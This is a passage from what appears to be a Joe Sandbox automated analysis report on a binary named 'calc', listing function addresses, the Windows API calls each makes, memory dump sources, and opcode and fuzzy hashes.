      • MultiByteToWideChar.KERNEL32(00000000,00000001,00000018,?,?,00000000,?,00455B83,00000000,?,00000000,00000000,00000000,00000000,0045282B,0045BBD0), ref: 00457CB5
      • CompareStringW.KERNEL32(?,00000002,0045BBD8,00000000,?,00000000,?,00000000,?,00455B83,00000000,?,00000000,00000000,00000000,00000000), ref: 00457CCB
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ByteCharMultiWide$QueryVirtual$CompareInfoStringSystem
      • String ID:
      • API String ID: 1997773198-0
      • Opcode ID: 0570dca9e1bf7ee5a52a808c6b989f582594303ab98bc10810a63f18df865e27
      • Instruction ID: a5633a3a0502486586b9ec731d308d5a0470a2ef10469a9c99ac855557056afc
      • Opcode Fuzzy Hash: 0570dca9e1bf7ee5a52a808c6b989f582594303ab98bc10810a63f18df865e27
      • Instruction Fuzzy Hash: 58319031800208EBEF22DFA0EC45BDEBBB6FF04715F24012AF915AA2A1C7398D55DB04
      Function 00450CF4 Relevance: 6.1, APIs: 4, Instructions: 93COMMON
      Download Yara Rule
      APIs
        • Part of subcall function 0044D99A: VirtualQuery.KERNEL32(?,?,0000001C), ref: 0044D9B4
        • Part of subcall function 0044D99A: GetSystemInfo.KERNEL32(?,?,?,0000001C), ref: 0044D9C5
        • Part of subcall function 0044D99A: VirtualQuery.KERNEL32(?,?,0000001C,?,?,0000001C), ref: 0044DA0B
      • WideCharToMultiByte.KERNEL32(?,00000000,004014B8,?,?,?,00000000,00000000,?,004490FC,?,00000000,0047BCF4,?,?), ref: 00450D32
      • LCMapStringA.KERNEL32(?,00000100,?,?,00000000,00000000,?,004490FC,?,00000000,0047BCF4,?,?,?,?,004014B8), ref: 00450D4E
      • LCMapStringA.KERNEL32(?,00000100,?,?,?,00000000,?,004490FC,?,00000000,0047BCF4,?,?,?,?,004014B8), ref: 00450DBA
      • _strncpy.LIBCMT ref: 00450DDF
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: QueryStringVirtual$ByteCharInfoMultiSystemWide_strncpy
      • String ID:
      • API String ID: 1411509361-0
      • Opcode ID: a54082dbe5c894d13af98ba6b3106a1ff2a34a093af2add1bb26da601b8de494
      • Instruction ID: a8fa9c9e81d149e0fd57e576100391c0807143c9fde817d248a89193a1360640
      • Opcode Fuzzy Hash: a54082dbe5c894d13af98ba6b3106a1ff2a34a093af2add1bb26da601b8de494
      • Instruction Fuzzy Hash: 1F315B76C0011AEBDF119F95CC829EFBBB5EF08316F18852AF92062162C7394D56DF98
      Function 00405D95 Relevance: 6.1, APIs: 4, Instructions: 91windowCOMMON
      Download Yara Rule
      APIs
      • ClientToScreen.USER32(?,?), ref: 00405DB3
      • GetWindowRect.USER32(00000003,?), ref: 00405DFC
      • PtInRect.USER32(?,00000000,000000FF), ref: 00405E0C
      • MessageBeep.USER32(00000000), ref: 00405E7F
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Rect$BeepClientMessageScreenWindow
      • String ID:
      • API String ID: 1352109105-0
      • Opcode ID: dcf3ca20a4c2ae2ed243af5031a055c5e736d4f7eb66e569f9db8ee6816ab8dd
      • Instruction ID: dd8de1245b502091c838f5f47c16c6050819199c23e6a8110bf6000abb39bdf8
      • Opcode Fuzzy Hash: dcf3ca20a4c2ae2ed243af5031a055c5e736d4f7eb66e569f9db8ee6816ab8dd
      • Instruction Fuzzy Hash: FF310631900619EFCB10CFA8C848AABBBF4EF04355F14456AE9A5B62D0D338AE45CF95
      Function 0041181E Relevance: 6.1, APIs: 4, Instructions: 84keyboardwindowCOMMON
      Download Yara Rule
      APIs
      • MapVirtualKeyW.USER32(00000011,00000000), ref: 00411831
      • GetKeyboardState.USER32(?), ref: 0041186B
      • SetKeyboardState.USER32(00000080), ref: 00411880
      • PostMessageW.USER32(?,00000100,00000011,00000000), ref: 004118D4
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: KeyboardState$MessagePostVirtual
      • String ID:
      • API String ID: 863366817-0
      • Opcode ID: bfb4b78a6aaed89bb3859a60d9aecc9fb928bdbecd9a5f803ab5092cb477fe57
      • Instruction ID: 51936c8d46dd67df7a5012feef2705db3bfc497a99d119d8ced5b6907d56545e
      • Opcode Fuzzy Hash: bfb4b78a6aaed89bb3859a60d9aecc9fb928bdbecd9a5f803ab5092cb477fe57
      • Instruction Fuzzy Hash: BD212F71A003157BEB3567698CC8BE76A5CAB05355F10413BF74991272D7ACDCC0C29D
      Function 00411916 Relevance: 6.1, APIs: 4, Instructions: 84keyboardwindowCOMMON
      Download Yara Rule
      APIs
      • MapVirtualKeyW.USER32(000000A0,00000000), ref: 00411929
      • GetKeyboardState.USER32(?), ref: 00411967
      • PostMessageW.USER32(?,00000101,000000A0,00000000), ref: 004119C1
      • SetKeyboardState.USER32(?), ref: 004119D8
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: KeyboardState$MessagePostVirtual
      • String ID:
      • API String ID: 863366817-0
      • Opcode ID: a81da1ac17faf62712921bae63e7622cf4e8409ec3e79e3e80d14285f257a8ae
      • Instruction ID: 9c36f65ea7ddc444ccb7cc2cff4a635faba03942e7bfa2e0ea98a349dbe43b6b
      • Opcode Fuzzy Hash: a81da1ac17faf62712921bae63e7622cf4e8409ec3e79e3e80d14285f257a8ae
      • Instruction Fuzzy Hash: 892137B17102187AEB314768CC99FEB6A5CDB06394F540127F669922B2C2ADCCC1C6AC
      Function 0042F490 Relevance: 6.1, APIs: 4, Instructions: 71networkCOMMON
      Download Yara Rule
      APIs
      • select.WS2_32(00000000,00000001,00000000,00000000,?), ref: 0042F4F2
      • __WSAFDIsSet.WS2_32(00000000,00000001), ref: 0042F50C
      • accept.WS2_32(00000000,00000000,00000000), ref: 0042F51F
      • WSAGetLastError.WS2_32(00000000,00000000,00000001,00000000,00000000,?), ref: 0042F528
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ErrorLastacceptselect
      • String ID:
      • API String ID: 385091864-0
      • Opcode ID: 755a0d37a7a288ac79227b46faa216e6589971c12026bb35bcb87805b5d0fce9
      • Instruction ID: c4cb769e5f6c09977091af05dbcfb972cb8144af55259ba7b3911f342b50bbba
      • Opcode Fuzzy Hash: 755a0d37a7a288ac79227b46faa216e6589971c12026bb35bcb87805b5d0fce9
      • Instruction Fuzzy Hash: E911E171A00118ABDB15EF2ADC819EFB7FCAB49714F40427FB405D3242DA789E808BA4
      Function 0042003A Relevance: 6.1, APIs: 4, Instructions: 70windowCOMMON
      Download Yara Rule
      APIs
      • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00420064
      • TranslateMessage.USER32(?), ref: 0042008B
      • DispatchMessageW.USER32(?), ref: 00420095
      • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 004200A5
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Message$Peek$DispatchTranslate
      • String ID:
      • API String ID: 1795658109-0
      • Opcode ID: 9024c2977bfdbd5ac00eb1186ad899a131a143131b69003cd44eda1b14e214a5
      • Instruction ID: d6d8623c54d9b74e91df51d2b51a13610eb9f86121000978df8a1a571116bf05
      • Opcode Fuzzy Hash: 9024c2977bfdbd5ac00eb1186ad899a131a143131b69003cd44eda1b14e214a5
      • Instruction Fuzzy Hash: 3B1187B2A053559EEB119BB4BC88BB77BECA701309F44843AD152D3102E778D84ADB79
      Function 0044B66E Relevance: 6.1, APIs: 4, Instructions: 69threadCOMMON
      Download Yara Rule
      APIs
      • CloseHandle.KERNEL32(?), ref: 0044B696
      • RtlExitUserThread.NTDLL(00000000), ref: 0044B6A5
      • FlsGetValue.KERNEL32(0045B188,0000000C), ref: 0044B6BE
      • FlsSetValue.KERNEL32(?), ref: 0044B6D4
        • Part of subcall function 00449C88: __lock.LIBCMT ref: 00449CA6
        • Part of subcall function 00449C88: RtlFreeHeap.NTDLL(00000000,?,0045B078,0000000C,0044C6BF,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00449CED
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Value$CloseExitFreeHandleHeapThreadUser__lock
      • String ID:
      • API String ID: 3768287693-0
      • Opcode ID: fc6ef55e8fbbf2753c1163fd075b5f1b2d5ff6fd80f72a765e741326c344b241
      • Instruction ID: d4f00fcacf70c5f03d956f577aab7a395bcd786e41b93a042494b8fd7fe282cd
      • Opcode Fuzzy Hash: fc6ef55e8fbbf2753c1163fd075b5f1b2d5ff6fd80f72a765e741326c344b241
      • Instruction Fuzzy Hash: F1219631500B00EFE724AF65D94AA6A37A4FF44755F11451EF845973A1DF78EC00CA9A
      Function 00403C97 Relevance: 6.1, APIs: 4, Instructions: 67windowCOMMON
      Download Yara Rule
      APIs
      • IsWindowVisible.USER32(?), ref: 00403CA0
      • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 00403CBF
      • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 00403CDD
      • CharUpperBuffW.USER32(?,00000000), ref: 00403CFB
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: MessageSend$BuffCharUpperVisibleWindow
      • String ID:
      • API String ID: 2796087071-0
      • Opcode ID: 11bfcdc27317c56bf8c93ba2187fac7942afcc668f3ade450d01a30b8132c5b6
      • Instruction ID: 5bedeb9e09b6abb0eb7ebfe7bc79414f8d824c24300506fe996c0fb54aef253c
      • Opcode Fuzzy Hash: 11bfcdc27317c56bf8c93ba2187fac7942afcc668f3ade450d01a30b8132c5b6
      • Instruction Fuzzy Hash: 1011B232904258BAFF229FA1DC06F9B7F6DDF40725F20407AF800A51A1DB79CE50A758
      Function 0040CF77 Relevance: 6.1, APIs: 4, Instructions: 66COMMON
      Download Yara Rule
      APIs
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: _logf$LineMove
      • String ID:
      • API String ID: 2044247434-0
      • Opcode ID: 7b0958b1e05d44bb2692c91de32216addb6b67a0baac5db24a1264da40054095
      • Instruction ID: 36068e2f271c58dd6b3b91538d1304b6c8909b614552cdb76d913315e2bc621b
      • Opcode Fuzzy Hash: 7b0958b1e05d44bb2692c91de32216addb6b67a0baac5db24a1264da40054095
      • Instruction Fuzzy Hash: E421EF72900209EFCB00AF91EB499AEBF74FB00351F2144A9E981721A5D7748E30EB5A
      Function 0044AFC4 Relevance: 6.1, APIs: 4, Instructions: 65threadCOMMON
      Download Yara Rule
      APIs
      • RtlExitUserThread.NTDLL(?), ref: 0044AFEE
      • FlsGetValue.KERNEL32(0045B130,0000000C), ref: 0044B007
      • FlsSetValue.KERNEL32(?), ref: 0044B01D
      • GetCurrentThreadId.KERNEL32 ref: 0044B02F
        • Part of subcall function 00449C88: __lock.LIBCMT ref: 00449CA6
        • Part of subcall function 00449C88: RtlFreeHeap.NTDLL(00000000,?,0045B078,0000000C,0044C6BF,00000000,0045B3A0,00000008,0044C6F4,?,?,?,00449A5F,00000004,0045B068,0000000C), ref: 00449CED
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: ThreadValue$CurrentExitFreeHeapUser__lock
      • String ID:
      • API String ID: 1595110423-0
      • Opcode ID: 7a5d7e7093db98e7d343e70cd53fd0274f37547dc291d792bd88d9f18fff3fac
      • Instruction ID: 87a9b2721909ca5a519c4814913f14622166ecacfafa37e2c11cce841412ba36
      • Opcode Fuzzy Hash: 7a5d7e7093db98e7d343e70cd53fd0274f37547dc291d792bd88d9f18fff3fac
      • Instruction Fuzzy Hash: 4611B431500B01EFEB24AF61DC0AA6B3BA4FF04755B10042EF8469B3A1DB78EC40CB99
      Function 0040CDD9 Relevance: 6.1, APIs: 4, Instructions: 61COMMON
      Download Yara Rule
      APIs
      • MoveToEx.GDI32(?,00000000,?,00000000), ref: 0040CE13
      • PolyBezierTo.GDI32(?,?,00000003), ref: 0040CE21
      • LineTo.GDI32(?,?,?), ref: 0040CE36
      • LineTo.GDI32(?,00000000,?), ref: 0040CE4C
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Line$BezierMovePoly
      • String ID:
      • API String ID: 2412604778-0
      • Opcode ID: 3884a1eee071de7890d14302d953e48a0e6caa7ee1c97a3991222ef44e30cf1f
      • Instruction ID: f4a798f19040babd5ae9a90d66299cb9f4b040f5f053a2fa754622e3e99d764a
      • Opcode Fuzzy Hash: 3884a1eee071de7890d14302d953e48a0e6caa7ee1c97a3991222ef44e30cf1f
      • Instruction Fuzzy Hash: 5011A031500208FFDB219F68CC88B9B7BA5FF45750F10462AFC9AA2291C3359D92DAD8
      Function 0041237D Relevance: 6.1, APIs: 4, Instructions: 58filethreadCOMMON
      Download Yara Rule
      APIs
      • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 004123AC
      • OpenProcess.KERNEL32(00000438,00000000,00000000,?,00000800,?,004029FA,00000800,?,?,00000406,00000000,00000000), ref: 004123BB
      • CreateFileMappingW.KERNEL32(000000FF,00000000,00000004,00000000,?,00000000,?,00000800,?,004029FA,00000800,?,?,00000406,00000000,00000000), ref: 004123EA
      • MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00000000,?,00000800,?,004029FA,00000800,?,?,00000406,00000000,00000000), ref: 00412401
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: FileProcess$CreateMappingOpenThreadViewWindow
      • String ID:
      • API String ID: 2085894357-0
      • Opcode ID: 75382669b767f4ad5488222fbf913262a6e70212d0470052150fcffc01197b35
      • Instruction ID: 669107df82a005897c57ec4c642622ccca2b8a359d94b7e5d07929d7754caf8e
      • Opcode Fuzzy Hash: 75382669b767f4ad5488222fbf913262a6e70212d0470052150fcffc01197b35
      • Instruction Fuzzy Hash: 6111A3B6100309FFEB105F61CC44ABB776CEB88395F00462AF692C5091C274DD908B24
      Function 0044E459 Relevance: 6.1, APIs: 4, Instructions: 57memoryCOMMONLIBRARYCODE
      Download Yara Rule
      APIs
      • RtlReAllocateHeap.NTDLL(00000000,00000050,00000000,0044EA4A), ref: 0044E480
      • RtlAllocateHeap.NTDLL(00000008,000041C4,00000000), ref: 0044E4B9
      • VirtualAlloc.KERNEL32(00000000,00100000,00002000,00000004,?,004013F3), ref: 0044E4D7
      • HeapFree.KERNEL32(00000000,?,?,004013F3), ref: 0044E4EE
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
      • Associated: 00000000.00000002.2167306214.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000465000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000477000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.000000000047E000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000482000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167334277.0000000000486000.00000040.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167574913.0000000000488000.00000080.00000001.01000000.00000003.sdmpDownload File
      • Associated: 00000000.00000002.2167596837.0000000000489000.00000004.00000001.01000000.00000003.sdmpDownload File
      Joe Sandbox IDA Plugin
      • Snapshot File: hcaresult_0_2_400000_calc.jbxd
      Similarity
      • API ID: Heap$Allocate$AllocFreeVirtual
      • String ID:
      • API String ID: 94566200-0
      • Opcode ID: a3fd5e3a949f7a78fcf4328b251d6220a18b3bd1147b161bd61c9f06b23a6b68
      • Instruction ID: 794246fb6d91a483d3371ec652401cc3041d5f0488e56fd6261ea09eaf57b0e3
      • Opcode Fuzzy Hash: a3fd5e3a949f7a78fcf4328b251d6220a18b3bd1147b161bd61c9f06b23a6b68
      • Instruction Fuzzy Hash: F2115B31610701AFD7B08FAAEC4592A7BB5FB85769B104E2EF162C65B0D370A849CB08
      Function 00414971 Relevance: 6.1, APIs: 4, Instructions: 51synchronizationthreadwindowCOMMON
      Download Yara Rule
      APIs
      • GetCurrentThreadId.KERNEL32 ref: 00414991
      • MessageBoxW.USER32(?,?,?,?), ref: 004149C3
      • WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 004149D8
      • CloseHandle.KERNEL32(00000000), ref: 004149DF
      Memory Dump Source
      • Source File: 00000000.00000002.2167334277.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
